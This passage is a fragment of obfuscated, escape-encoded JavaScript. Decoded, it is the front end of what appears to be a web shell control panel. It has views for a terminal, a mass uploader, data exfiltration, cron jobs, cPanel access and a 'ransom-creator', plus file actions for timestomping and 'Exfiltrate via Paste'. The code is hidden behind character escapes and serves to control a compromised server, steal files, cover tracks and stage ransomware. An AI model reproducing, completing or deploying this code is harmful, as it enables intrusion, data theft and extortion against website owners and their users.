77\x49\144\175\140\51\x3b\12\x9\11\11\151\146\x20\50\x76\x69\145\167\x45\154\51\40\x76\x69\x65\x77\x45\x6c\x2e\x73\x74\171\x6c\145\x2e\144\151\163\x70\x6c\x61\171\x20\75\40\x27\146\154\x65\x78\47\73\12\x9\x9\11\x64\x6f\143\x75\x6d\x65\156\164\x2e\161\165\x65\x72\x79\123\x65\x6c\145\143\164\157\x72\x41\x6c\x6c\50\x27\56\156\141\166\55\x62\165\x74\164\157\156\47\x29\56\146\x6f\162\105\x61\x63\x68\x28\142\x74\156\40\x3d\76\40\142\x74\x6e\56\x63\154\x61\163\x73\114\151\163\164\56\x72\x65\155\x6f\x76\145\x28\x27\141\143\x74\x69\166\145\x27\51\51\x3b\12\x9\x9\11\143\157\156\x73\164\x20\x61\x63\164\151\x76\x65\102\164\x6e\x20\75\x20\x64\x6f\x63\x75\x6d\x65\x6e\164\x2e\161\165\145\x72\171\123\145\154\x65\x63\164\x6f\162\50\140\x2e\x6e\141\166\55\x62\x75\164\164\x6f\156\x5b\144\141\x74\141\55\166\151\x65\x77\75\x22\x24\x7b\x76\x69\x65\167\111\x64\x7d\42\135\140\x29\73\12\x9\x9\11\151\x66\x20\50\141\143\x74\x69\166\x65\102\164\x6e\51\x20\x61\x63\x74\x69\x76\x65\x42\x74\x6e\x2e\143\154\141\163\x73\x4c\151\x73\164\x2e\141\x64\x64\50\x27\x61\143\164\x69\x76\145\x27\51\x3b\12\40\x9\x9\11\x69\x66\x20\50\164\150\151\163\56\163\x74\141\164\163\x49\x6e\x74\145\x72\166\141\x6c\x29\x20\x7b\x20\x63\x6c\145\x61\x72\111\x6e\x74\x65\162\x76\x61\154\50\164\x68\151\163\x2e\x73\164\141\x74\163\x49\156\164\145\x72\x76\141\x6c\x29\x3b\40\x74\x68\x69\163\56\x73\x74\141\x74\163\111\x6e\164\145\x72\166\x61\154\40\75\x20\156\x75\154\x6c\73\x20\x7d\12\x20\11\11\11\x69\x66\x20\50\166\151\x65\x77\x49\x64\x20\x3d\75\75\x20\x27\x64\x61\x73\x68\x62\x6f\x61\162\x64\x27\51\x20\x7b\x20\x74\150\151\x73\56\165\x70\x64\141\164\x65\114\151\x76\145\x53\x74\x61\164\x73\x28\x29\73\40\x74\x68\151\163\56\163\x74\x61\x74\163\x49\x6e\x74\x65\x72\x76\x61\154\40\75\40\163\x65\164\x49\x6e\164\x65\162\166\141\154\x28\50\x29\x20\x3d\76\40\164\150\x69\163\56\165\160\144\x61\x74\x65\x4c\x69\x76\145\123\x74\141\164\163\x28\51\x2c\40\x32\x30\x30\x30\51\73\40\x7d\xa\11\11\x9\145\154\x73\x65\40\x69\x66\40\50\x76\x69\145\167\x49\x64\40\75\75\75\40\x27\146\x69\x6c\x65\163\47\x29\x20\173\40\x63\157\x6e\163\x74\x20\146\151\154\x65\114\151\x73\x74\40\75\x20\144\x6f\x63\165\x6d\145\156\x74\56\147\x65\x74\x45\154\145\155\x65\x6e\x74\x42\171\x49\144\50\x27\146\151\x6c\x65\55\x6c\151\x73\x74\x27\51\x3b\x20\151\x66\x20\50\146\151\154\x65\114\x69\163\x74\40\46\x26\40\x66\151\154\x65\x4c\x69\163\164\56\151\156\156\145\x72\x48\x54\115\x4c\40\75\x3d\75\40\47\x27\51\40\x74\x68\x69\163\56\154\x6f\x61\144\x46\151\x6c\x65\x73\x28\164\x68\x69\x73\x2e\143\x77\x64\51\x3b\40\175\12\11\11\x9\x65\154\163\145\x20\151\146\x20\50\166\x69\145\x77\111\x64\40\75\75\x3d\x20\47\164\145\162\155\x69\x6e\x61\x6c\47\x29\x20\x7b\x20\164\x68\x69\163\x2e\165\160\x64\141\164\145\x54\x65\x72\155\x69\x6e\x61\x6c\120\162\x6f\x6d\x70\x74\50\x29\73\x20\x63\x6f\x6e\x73\164\40\164\145\162\155\111\x6e\160\165\x74\x20\x3d\x20\144\157\143\x75\155\145\x6e\164\56\147\145\x74\105\x6c\x65\x6d\145\x6e\x74\102\171\x49\x64\x28\47\164\145\x72\155\x2d\151\156\160\x75\x74\x27\51\x3b\40\x69\146\x20\50\164\145\162\155\x49\x6e\x70\x75\x74\51\40\164\x65\x72\x6d\111\156\x70\165\164\x2e\146\x6f\x63\165\163\x28\51\x3b\x20\x7d\xa\x9\x9\x9\145\x6c\x73\145\40\151\x66\x20\50\x76\151\145\167\x49\144\40\x3d\x3d\x3d\40\47\155\x61\163\x73\x2d\165\x70\x6c\157\x61\x64\x65\x72\x27\51\x20\173\x20\x63\x6f\156\x73\164\x20\144\151\162\x54\162\145\x65\x20\75\x20\x64\x6f\143\165\155\145\156\164\x2e\x67\x65\164\x45\154\145\x6d\x65\156\164\x42\171\111\144\x28\47\x64\151\x72\x2d\x74\x72\x65\x65\55\x63\157\156\164\x61\151\x6e\x65\x72\47\x29\73\40\x69\x66\x20\50\144\151\x72\x54\162\145\145\40\46\46\40\x64\151\x72\x54\162\x65\x65\x2e\x69\156\156\145\x72\110\124\x4d\114\56\x69\156\x63\x6c\x75\144\145\163\x28\x27\x4c\157\x61\x64\x69\x6e\x67\x27\x29\x29\40\164\x68\x69\163\56\154\x6f\141\x64\x44\151\x72\x54\x72\145\x65\50\x27\x23\144\x69\x72\55\x74\x72\145\145\x2d\143\157\x6e\164\141\151\156\x65\x72\47\51\73\x20\x7d\xa\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x65\x6c\163\145\x20\151\x66\40\50\166\x69\x65\167\111\x64\40\75\75\x3d\40\x27\x64\x61\164\141\x2d\164\157\157\x6c\163\x27\51\40\x7b\x20\x63\157\156\163\164\40\145\x78\146\151\154\124\x72\145\x65\40\75\x20\144\157\x63\x75\155\x65\x6e\x74\x2e\147\x65\x74\x45\154\x65\x6d\145\x6e\x74\102\x79\x49\x64\50\x27\x65\x78\x66\151\154\55\144\151\162\x2d\164\x72\145\x65\47\x29\73\40\151\146\x20\50\145\x78\146\x69\x6c\124\x72\x65\145\x20\x26\x26\x20\145\x78\x66\x69\x6c\x54\x72\145\x65\56\151\x6e\156\145\x72\x48\x54\115\114\x2e\151\x6e\x63\x6c\165\144\145\x73\50\47\x4c\x6f\x61\144\151\156\x67\x27\x29\51\40\x74\x68\151\x73\56\154\x6f\x61\144\104\151\x72\x54\162\x65\145\x28\x27\x23\145\x78\146\x69\154\x2d\144\x69\x72\55\x74\162\x65\145\47\51\x3b\x20\x7d\12\40\x9\x9\x9\x65\154\x73\x65\x20\151\146\x20\x28\166\151\145\167\x49\x64\x20\75\x3d\x3d\x20\47\x63\x72\x6f\x6e\x27\51\40\x74\150\151\163\56\x6c\157\x61\x64\103\x72\157\156\x28\x29\x3b\xa\x20\x9\11\11\x65\x6c\163\145\40\x69\146\40\50\166\151\x65\x77\x49\x64\x20\75\75\75\x20\x27\144\157\155\x61\x69\x6e\55\x69\x6e\x74\145\x6c\x27\40\x26\x26\x20\x21\x74\150\x69\x73\56\151\156\164\x65\x6c\106\145\164\143\x68\145\x64\51\40\x7b\x20\12\11\11\11\11\x2f\x2f\40\104\157\156\x27\164\40\x61\x75\x74\157\55\x72\165\x6e\x2c\40\x6c\145\164\x20\165\163\x65\x72\40\x63\154\151\143\x6b\40\x62\165\x74\x74\x6f\156\40\164\x6f\40\x74\x72\x69\x67\147\145\162\40\160\x61\x73\163\167\157\x72\144\40\x70\x72\157\x6d\160\164\12\11\11\x9\11\164\x68\x69\163\x2e\151\156\x74\x65\154\106\145\x74\143\150\145\x64\40\75\x20\146\x61\x6c\163\x65\x3b\40\xa\x9\11\11\x7d\12\40\11\11\11\145\154\x73\x65\40\151\146\x20\x28\x76\x69\145\167\111\x64\40\x3d\75\x3d\40\47\x63\x70\x61\156\145\154\x2d\x63\x6d\x73\x27\51\40\173\40\164\x68\x69\x73\x2e\x69\156\x69\164\x43\x6d\163\103\160\141\156\145\154\x56\x69\x65\x77\50\x29\73\40\x7d\12\11\x9\11\x65\x6c\163\145\40\x69\x66\40\50\x76\x69\x65\167\x49\x64\x20\75\x3d\75\x20\x27\156\157\x74\x69\x66\151\x63\x61\164\x69\x6f\x6e\163\x27\51\40\x7b\40\164\150\x69\x73\x2e\x72\145\x6e\144\145\162\x4e\x6f\x74\x69\146\x69\x63\x61\x74\x69\x6f\x6e\163\x28\51\x3b\40\175\12\11\x9\x9\x65\154\x73\145\x20\x69\x66\40\x28\x76\x69\145\167\111\x64\40\75\75\75\40\47\x70\162\x6f\x63\145\163\x73\55\155\x61\156\141\147\x65\162\47\x29\40\x7b\x20\164\150\151\163\x2e\x72\x65\146\162\145\163\150\120\162\157\x63\145\163\163\145\x73\x28\51\73\40\x7d\12\x9\11\x9\x65\x6c\163\x65\x20\151\x66\x20\x28\166\x69\x65\167\x49\144\40\75\x3d\75\x20\47\162\x61\x6e\x73\x6f\155\x2d\143\162\x65\141\x74\157\162\x27\51\40\173\40\xa\11\11\x9\x9\x74\150\x69\x73\56\x72\141\x6e\x73\157\155\123\145\154\x65\143\x74\145\144\106\x69\154\x65\x73\56\143\x6c\145\x61\162\x28\x29\73\x20\12\x9\x9\x9\11\x74\150\151\163\x2e\162\x61\x6e\x73\157\x6d\x55\160\x64\x61\x74\x65\x43\x6f\165\156\x74\x28\51\x3b\12\x9\x9\x9\x9\x63\157\x6e\163\x74\x20\162\141\x6e\163\157\155\102\162\157\x77\163\145\x50\x61\x74\150\40\x3d\40\144\x6f\x63\x75\155\145\x6e\x74\x2e\x67\x65\x74\105\154\x65\x6d\x65\x6e\x74\102\x79\x49\144\x28\47\x72\141\x6e\x73\157\155\x2d\x62\162\157\x77\x73\x65\x2d\160\141\x74\150\47\x29\x3b\12\x9\11\11\x9\x69\x66\40\x28\x72\x61\x6e\163\157\x6d\102\162\x6f\167\163\145\120\141\x74\x68\x20\46\x26\40\x21\x72\141\156\x73\157\x6d\102\162\x6f\167\163\x65\120\x61\164\150\x2e\x76\141\x6c\165\145\x29\40\173\xa\11\11\11\x9\11\x72\x61\156\163\157\155\x42\162\x6f\167\x73\x65\120\x61\164\150\x2e\x76\x61\x6c\165\145\40\x3d\x20\x74\150\x69\x73\56\143\x77\x64\x3b\xa\x9\x9\11\11\175\xa\11\x9\11\175\xa\11\11\x7d\x2c\12\x20\x9\11\x61\x73\x79\156\x63\x20\x6c\x6f\x61\144\x46\x69\x6c\145\163\50\160\141\164\x68\x29\40\x7b\12\40\11\x9\11\x63\x6f\156\x73\164\x20\x72\x65\x73\40\x3d\40\141\x77\141\x69\164\x20\164\x68\x69\163\x2e\141\160\151\x28\47\x62\x72\157\x77\163\145\47\54\40\173\40\160\x61\164\x68\40\175\51\73\xa\x20\x9\x9\11\151\x66\x20\x28\41\162\145\x73\x20\174\x7c\x20\162\145\x73\x2e\163\164\141\164\x75\x73\40\x21\75\75\40\47\x73\x75\x63\143\x65\x73\x73\47\x29\40\162\145\x74\x75\162\x6e\x3b\12\11\x9\11\164\x68\151\x73\56\143\x77\144\40\x3d\40\x72\145\163\56\143\167\144\x3b\x20\x63\157\156\x73\164\40\x63\x77\x64\x45\x6c\40\x3d\x20\144\157\143\x75\x6d\145\156\164\56\x67\x65\164\x45\154\145\155\x65\x6e\164\102\171\x49\x64\x28\x27\143\167\x64\47\x29\x3b\40\x69\x66\40\50\x63\x77\x64\105\x6c\x29\40\143\167\144\x45\x6c\56\166\x61\154\165\x65\40\75\x20\x74\x68\x69\163\56\x63\167\144\x3b\40\x74\x68\151\x73\56\165\160\144\x61\164\145\x54\145\162\x6d\151\156\141\x6c\120\162\x6f\155\160\164\x28\51\73\xa\11\11\11\143\157\x6e\x73\164\x20\x66\151\x6c\x65\114\x69\x73\164\x20\75\x20\144\x6f\143\x75\155\x65\156\x74\56\147\145\164\105\x6c\x65\155\145\x6e\164\x42\171\x49\x64\50\x27\x66\x69\154\145\55\154\x69\x73\164\x27\51\73\12\x9\11\x9\151\146\40\x28\41\146\151\154\145\x4c\x69\x73\x74\51\40\162\x65\x74\165\x72\156\x3b\xa\x9\x9\x9\146\x69\x6c\145\x4c\x69\x73\x74\x2e\151\156\156\145\x72\110\x54\x4d\x4c\x20\75\x20\162\145\x73\56\x66\151\154\x65\163\56\155\141\x70\x28\146\40\x3d\76\x20\173\xa\x20\x9\11\11\11\x6c\145\164\x20\x6e\141\155\145\103\x6c\141\163\x73\40\75\40\x66\x2e\151\163\x5f\144\151\x72\40\77\40\50\146\56\x69\x73\137\167\x72\151\164\141\x62\154\x65\x20\x3f\x20\x27\x66\x6e\x61\x6d\145\55\x64\x69\162\x2d\167\x72\151\164\141\x62\x6c\x65\x27\40\x3a\x20\47\x66\156\141\x6d\x65\55\144\151\x72\55\x75\x6e\x77\162\151\164\x61\x62\x6c\145\x27\x29\40\72\x20\x28\x66\56\151\163\137\167\x72\x69\x74\x61\x62\154\x65\40\x3f\x20\47\x66\x6e\x61\x6d\145\x2d\x66\x69\154\x65\55\x77\162\151\164\x61\x62\154\x65\x27\40\72\x20\47\146\156\141\155\145\55\x66\x69\x6c\145\x2d\x75\156\167\162\151\164\141\x62\x6c\x65\x27\x29\x3b\12\40\11\11\11\11\x6c\x65\x74\40\151\143\x6f\x6e\x20\x3d\40\x66\56\x69\163\x5f\x64\x69\162\40\77\x20\x28\x66\x2e\156\141\155\145\x20\x3d\75\75\x20\x27\x2e\56\47\40\77\x20\x27\xe2\244\264\357\xb8\217\x27\x20\x3a\40\47\xf0\237\224\267\x27\x29\40\x3a\x20\47\360\237\x93\204\x27\x3b\xa\40\11\x9\x9\x9\154\x65\164\x20\x61\x63\x74\151\x6f\156\x73\x20\x3d\40\x60\74\141\x20\x64\x61\164\x61\x2d\141\x63\164\151\157\x6e\75\x22\x72\x65\x6e\141\x6d\145\42\40\x74\x69\x74\154\x65\75\x22\x52\x65\156\x61\x6d\145\42\x3e\xe2\234\x8f\357\xb8\217\x3c\x2f\x61\x3e\40\x3c\141\40\144\141\164\x61\55\x61\x63\x74\x69\157\156\x3d\x22\143\150\155\157\x64\42\40\x74\x69\164\154\x65\75\42\120\145\x72\x6d\x69\163\x73\151\157\x6e\x73\x22\76\xf0\x9f\x94\222\x3c\57\141\x3e\140\x3b\12\x20\11\x9\x9\11\x69\146\40\x28\x21\146\56\151\x73\x5f\144\x69\x72\51\40\x61\x63\164\x69\x6f\x6e\x73\x20\x2b\75\x20\140\x20\74\141\40\144\x61\x74\141\55\x61\x63\x74\x69\157\156\75\42\x74\x69\155\145\163\x74\x6f\155\x70\42\40\164\151\x74\154\145\75\42\x54\151\155\x65\x73\164\x6f\155\160\42\40\163\164\171\x6c\145\x3d\42\x63\157\154\157\x72\x3a\x23\141\x30\x61\x30\141\x30\73\x22\x3e\360\x9f\x95\260\357\xb8\217\x3c\x2f\x61\76\x60\x3b\xa\40\11\11\11\x9\141\x63\164\151\157\x6e\x73\x20\x2b\75\x20\140\40\x3c\141\40\144\141\164\141\55\141\143\x74\x69\157\x6e\x3d\42\144\x65\x6c\x65\x74\145\x22\40\164\x69\x74\x6c\145\75\x22\104\145\154\145\x74\x65\42\40\x73\x74\x79\154\145\75\x22\143\157\x6c\x6f\x72\x3a\43\146\x66\65\65\67\62\x3b\x22\76\xf0\237\x97\221\357\xb8\x8f\x3c\57\141\76\140\73\12\40\x9\11\11\11\x69\146\50\x66\x2e\x69\163\137\144\151\162\40\x26\46\40\146\x2e\x6e\141\155\x65\x20\x21\x3d\x3d\40\47\x2e\56\47\51\40\x61\x63\164\151\157\156\x73\40\x2b\x3d\x20\x60\x20\x3c\x61\40\x64\141\164\141\x2d\141\143\164\151\x6f\x6e\75\x22\172\151\x70\x22\40\164\x69\x74\x6c\x65\x3d\x22\x5a\x69\x70\x22\x20\163\164\x79\154\x65\75\x22\x63\157\154\x6f\x72\x3a\43\146\x66\143\x37\67\x37\x3b\42\76\360\x9f\223\246\x3c\x2f\x61\x3e\140\x3b\12\40\x9\x9\x9\11\x65\x6c\163\145\40\x69\x66\40\50\41\146\x2e\x69\163\137\144\x69\162\x29\40\173\12\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x61\143\164\151\x6f\x6e\x73\40\x2b\x3d\40\x60\40\74\x61\x20\144\x61\x74\141\x2d\x61\x63\x74\x69\157\156\75\42\145\170\x66\151\154\137\x70\141\x73\x74\145\42\40\x74\151\164\x6c\145\75\x22\x45\170\146\x69\x6c\x74\162\x61\x74\x65\40\x76\151\141\40\x50\x61\x73\164\x65\x22\40\x73\164\x79\x6c\145\x3d\42\x63\x6f\x6c\x6f\162\72\43\101\x34\70\62\106\x46\x3b\42\76\xf0\x9f\x93\xa4\x3c\x2f\x61\76\140\x3b\12\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x61\x63\164\151\x6f\x6e\163\40\x2b\x3d\40\x60\x20\x3c\x61\40\x68\x72\x65\x66\75\42\x24\173\x53\103\122\111\120\124\137\x55\x52\114\175\77\x64\x6f\x77\156\154\x6f\141\144\x3d\x24\x7b\x65\x6e\x63\157\x64\145\x55\122\111\103\x6f\155\x70\x6f\x6e\x65\156\164\x28\146\56\160\x61\x74\x68\51\x7d\42\x20\x74\151\x74\154\145\75\42\x44\157\x77\x6e\154\x6f\x61\x64\x22\x20\x73\164\x79\154\145\x3d\42\x63\157\x6c\x6f\x72\72\43\143\63\145\x38\70\x64\x3b\42\76\360\237\223\245\74\x2f\141\76\140\x3b\12\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x69\x66\40\x28\x66\x2e\156\141\x6d\x65\x2e\x65\156\x64\163\x57\151\164\x68\50\x27\56\x7a\151\x70\47\x29\x29\x20\x61\x63\164\151\x6f\x6e\163\40\x2b\x3d\x20\x60\40\74\x61\x20\144\x61\x74\141\x2d\x61\143\164\151\x6f\156\x3d\42\165\156\172\151\160\42\40\x74\151\164\154\x65\75\x22\125\156\x7a\x69\160\42\x20\x73\164\171\154\145\75\x22\x63\157\x6c\157\x72\x3a\x23\x38\62\x61\141\x66\146\x3b\42\x3e\360\x9f\x93\xa4\x3c\x2f\141\76\140\x3b\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x7d\12\x20\11\x9\x9\x9\x72\145\x74\x75\162\x6e\40\140\x3c\164\162\40\144\x61\164\141\x2d\160\141\x74\150\x3d\x22\x24\x7b\x66\x2e\x70\141\x74\150\x7d\42\x20\x64\x61\x74\141\55\156\141\x6d\x65\x3d\x22\44\x7b\x66\56\x6e\x61\x6d\145\x7d\x22\x20\x64\141\164\141\x2d\144\x69\162\75\x22\44\173\x66\x2e\151\x73\x5f\x64\x69\x72\175\42\40\144\141\164\x61\55\160\145\162\x6d\x73\x3d\42\x24\x7b\146\56\160\x65\x72\x6d\163\175\x22\76\x3c\164\x64\40\x63\x6c\x61\x73\x73\75\42\x66\x6e\141\155\145\40\x24\x7b\x6e\141\155\145\x43\x6c\141\x73\163\175\x22\40\x74\151\164\x6c\x65\75\42\x24\173\x66\56\160\x61\x74\150\175\42\76\x24\173\x69\x63\157\x6e\x7d\x20\44\173\x66\56\156\141\x6d\x65\x7d\74\x2f\164\144\x3e\74\x74\x64\76\x24\x7b\x66\x2e\163\151\x7a\145\175\x3c\57\164\144\76\x3c\164\x64\40\x63\x6c\141\x73\163\75\x22\x70\145\162\x6d\x73\x2d\x63\157\x6c\42\x3e\44\x7b\146\56\x66\165\154\154\137\160\x65\162\155\163\x7d\74\x2f\x74\x64\x3e\74\164\x64\76\44\x7b\x66\x2e\x6d\164\x69\155\x65\175\74\x2f\164\x64\76\74\164\144\40\x63\x6c\141\163\x73\x3d\42\141\143\x74\151\157\x6e\x73\x22\76\44\x7b\x66\x2e\156\141\155\145\40\41\75\75\40\x27\56\56\x27\40\x3f\40\x61\x63\164\151\x6f\x6e\x73\40\72\x20\47\x27\x7d\74\57\x74\144\76\x3c\57\164\162\x3e\x60\x3b\xa\x20\11\x9\11\x7d\51\56\x6a\157\151\x6e\x28\47\x27\51\73\12\40\11\11\175\54\xa\x20\x9\x9\x68\141\156\144\x6c\x65\106\x69\154\x65\x4d\x61\x6e\x61\147\x65\x72\103\x6c\151\143\x6b\x28\145\51\40\173\xa\40\x9\x9\x9\x63\157\x6e\x73\164\x20\162\x6f\167\x20\75\40\x65\56\x74\x61\162\x67\x65\164\x2e\143\154\157\x73\145\163\164\50\x27\164\162\47\x29\73\40\x69\x66\x20\x28\41\162\157\x77\x29\x20\x72\145\164\x75\162\x6e\73\x20\x63\157\x6e\x73\x74\40\160\x61\164\150\40\75\40\x72\x6f\167\x2e\144\141\x74\141\163\x65\164\56\160\141\x74\150\54\x20\x6e\x61\155\x65\x20\x3d\x20\x72\x6f\167\56\x64\x61\x74\141\163\x65\164\56\x6e\x61\155\x65\x2c\40\x61\143\164\151\x6f\156\105\154\x20\x3d\x20\x65\56\164\141\162\147\145\164\56\x63\154\157\163\145\x73\164\x28\47\x61\133\144\141\164\141\55\x61\143\x74\x69\157\156\135\47\51\x3b\12\x20\x9\x9\11\x69\x66\40\50\x61\143\x74\151\x6f\x6e\105\x6c\x29\x20\173\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x63\157\156\x73\x74\x20\141\x63\x74\x69\x6f\156\40\x3d\40\141\x63\x74\151\157\x6e\105\154\56\144\x61\x74\x61\163\145\x74\56\141\x63\x74\x69\157\x6e\x3b\xa\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\143\x6f\x6e\x73\164\40\x61\143\164\x69\157\156\x73\40\x3d\40\173\xa\x20\40\x20\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x72\x65\x6e\141\155\x65\x3a\x20\50\51\40\75\76\x20\x74\150\x69\x73\x2e\x72\145\x6e\x61\155\145\x49\164\145\x6d\x28\160\x61\x74\x68\x2c\x20\156\141\x6d\145\x29\54\xa\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\144\x65\x6c\x65\164\145\72\40\x28\x29\40\75\76\40\164\150\151\163\56\x64\145\154\145\x74\x65\x49\x74\145\155\50\x70\x61\164\x68\x2c\x20\x6e\x61\x6d\x65\x29\54\12\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\143\150\155\157\144\72\40\x28\x29\40\75\x3e\40\164\x68\x69\163\x2e\x73\x68\x6f\x77\x43\x68\x6d\157\x64\x4d\x6f\144\141\x6c\50\160\141\x74\x68\x2c\40\x72\x6f\x77\x2e\144\x61\x74\141\163\145\x74\x2e\x70\145\162\155\x73\51\54\xa\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x7a\x69\160\x3a\40\x28\x29\x20\x3d\76\40\164\x68\x69\163\x2e\x7a\x69\x70\111\x74\145\155\50\x70\x61\x74\150\51\x2c\12\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\40\40\40\40\40\x20\165\156\172\151\x70\x3a\x20\50\51\40\x3d\76\x20\x74\150\151\x73\x2e\x75\x6e\x7a\x69\x70\x49\164\x65\155\50\160\x61\164\150\51\x2c\12\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x74\x69\155\x65\x73\164\x6f\155\160\x3a\x20\50\51\x20\x3d\76\x20\164\150\151\x73\x2e\x73\150\x6f\x77\124\151\x6d\145\163\164\157\155\x70\x4d\x6f\x64\141\154\x28\x70\x61\x74\150\x29\x2c\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\145\170\146\151\154\137\160\x61\x73\x74\x65\72\40\50\x29\40\75\x3e\x20\164\x68\151\163\x2e\x65\170\x66\151\154\126\x69\x61\x50\x61\x73\x74\x65\50\x70\141\164\150\51\12\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\175\x3b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\x20\151\146\x20\50\141\143\164\151\x6f\x6e\x73\x5b\x61\x63\164\x69\157\x6e\135\51\40\x61\143\x74\151\x6f\156\x73\133\x61\x63\x74\151\x6f\156\x5d\50\x29\73\12\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x7d\12\x20\x9\11\11\145\x6c\x73\145\40\x69\x66\x20\x28\145\x2e\164\141\162\x67\x65\164\x2e\143\154\x6f\x73\145\163\164\50\47\164\144\x2e\146\156\141\155\145\47\51\51\40\173\12\40\11\x9\11\11\x69\x66\40\50\162\x6f\x77\56\x64\x61\x74\141\163\145\164\56\x64\151\162\40\75\75\x3d\40\47\x74\162\x75\145\x27\51\40\164\x68\151\x73\56\x6c\x6f\141\144\106\151\x6c\x65\163\50\x70\141\164\x68\51\73\12\x20\11\11\11\11\x65\154\x73\145\x20\x7b\40\x63\x6f\x6e\163\x74\x20\145\170\x74\x20\75\x20\x6e\141\155\x65\56\163\160\154\x69\x74\50\47\56\x27\x29\56\160\x6f\160\x28\x29\56\x74\157\114\157\x77\x65\162\x43\x61\163\145\50\x29\x3b\40\x69\x66\40\x28\133\47\152\x70\x67\x27\54\x20\x27\x6a\160\x65\x67\47\x2c\40\47\160\x6e\147\47\x2c\40\47\147\151\x66\47\54\40\x27\x77\x65\142\x70\47\54\x20\x27\x73\x76\x67\x27\x2c\x20\x27\155\160\x34\47\54\40\47\x77\145\x62\155\47\x2c\x20\47\157\147\147\47\x5d\56\x69\x6e\x63\x6c\165\x64\145\163\x28\x65\x78\164\51\51\x20\173\x20\164\x68\151\x73\x2e\163\150\x6f\x77\115\x65\x64\x69\x61\x4d\157\x64\x61\154\x28\160\141\x74\150\x2c\x20\x65\170\164\51\73\40\175\40\145\154\x73\x65\x20\173\40\x74\150\x69\x73\x2e\163\150\157\167\105\144\151\164\157\x72\50\x70\141\x74\150\x29\x3b\x20\175\40\175\12\x20\11\11\x9\x7d\12\x20\11\x9\x7d\x2c\xa\11\x9\141\x73\x79\156\143\x20\x63\162\x65\141\x74\145\111\x74\145\155\x28\x74\171\x70\145\51\40\x7b\x20\x63\157\156\x73\x74\40\x6e\x61\x6d\145\x20\75\x20\141\x77\141\x69\x74\x20\x74\150\151\x73\56\x73\150\157\167\111\156\x70\x75\164\115\x6f\144\x61\154\x28\140\x45\x6e\x74\145\162\x20\x6e\145\x77\40\44\173\x74\171\x70\x65\x7d\x20\156\x61\155\x65\72\140\x2c\x20\x27\47\x2c\40\173\40\164\x69\x74\154\145\72\40\140\360\237\x93\201\x20\x43\162\x65\141\164\x65\x20\x4e\x65\167\x20\x24\x7b\164\171\x70\x65\40\75\75\x3d\x20\x27\x66\x69\154\x65\x27\x20\x3f\x20\47\106\x69\x6c\x65\x27\x20\72\x20\47\x44\x69\x72\x65\143\x74\157\162\x79\47\175\x60\54\40\x69\x63\157\x6e\x3a\40\164\171\x70\145\40\x3d\75\75\x20\47\x66\151\154\x65\x27\40\x3f\40\x27\xf0\237\223\x84\x27\40\x3a\40\x27\360\237\223\x81\47\54\x20\162\145\x71\165\151\162\x65\x64\72\40\164\x72\165\x65\54\40\160\154\141\x63\145\x68\157\154\144\145\162\72\40\140\105\x6e\x74\145\x72\x20\44\x7b\x74\171\160\x65\x7d\40\156\x61\155\145\56\56\x2e\x60\40\175\51\73\40\x69\x66\40\x28\156\x61\155\x65\51\40\x7b\x20\143\x6f\x6e\163\164\x20\x72\x65\163\x20\75\40\141\167\141\x69\x74\x20\x74\x68\151\163\x2e\x61\160\151\x28\x27\143\162\145\x61\x74\x65\x27\x2c\x20\x7b\40\x6e\141\155\145\54\x20\164\171\x70\x65\x20\x7d\x29\x3b\x20\x69\x66\x20\x28\x72\145\x73\56\x73\x74\141\164\165\x73\40\75\75\x3d\x20\x27\x73\x75\x63\143\145\x73\x73\x27\51\40\x7b\40\164\x68\x69\x73\x2e\x74\x6f\141\163\x74\50\162\145\163\56\x6d\x65\163\x73\x61\x67\x65\51\x3b\x20\x74\150\x69\x73\56\x6c\157\141\144\106\x69\154\145\x73\50\x74\x68\151\x73\56\x63\167\144\x29\73\x20\175\x20\x7d\x20\x7d\x2c\12\11\11\x61\x73\x79\x6e\143\40\x72\145\156\141\155\145\x49\164\x65\155\x28\x70\141\164\x68\x2c\x20\x6f\154\144\x4e\x61\155\145\x29\x20\173\40\x63\157\x6e\163\x74\x20\156\145\x77\116\x61\x6d\x65\x20\x3d\40\x61\167\x61\x69\x74\x20\164\x68\x69\x73\56\163\150\157\x77\x49\156\x70\165\x74\115\157\144\141\154\x28\42\x45\x6e\x74\x65\162\x20\x6e\145\167\40\156\x61\155\x65\72\x22\54\40\157\154\144\x4e\x61\x6d\x65\54\40\x7b\40\x74\x69\164\154\145\72\x20\47\342\x9c\x8f\xef\xb8\217\x20\x52\145\x6e\x61\155\x65\40\111\164\x65\155\47\x2c\x20\151\143\x6f\156\72\40\x27\342\x9c\x8f\xef\270\217\x27\54\x20\162\x65\x71\x75\x69\x72\145\144\x3a\40\x74\162\x75\x65\54\40\x70\154\141\x63\145\150\x6f\154\144\145\162\x3a\x20\47\x45\x6e\x74\145\162\40\x6e\145\x77\x20\156\141\x6d\x65\56\56\x2e\x27\54\40\x76\141\154\x69\144\x61\x74\x6f\162\x3a\x20\x28\166\x61\x6c\51\x20\x3d\76\x20\x76\x61\x6c\x20\x21\75\x3d\40\x6f\x6c\x64\x4e\x61\155\x65\x2c\x20\x76\141\154\151\x64\141\x74\x6f\162\105\162\x72\x6f\x72\72\x20\47\x4e\145\x77\40\156\x61\x6d\x65\40\x6d\x75\163\164\40\x62\145\x20\x64\x69\x66\x66\145\162\x65\x6e\x74\x20\146\x72\157\155\40\x63\16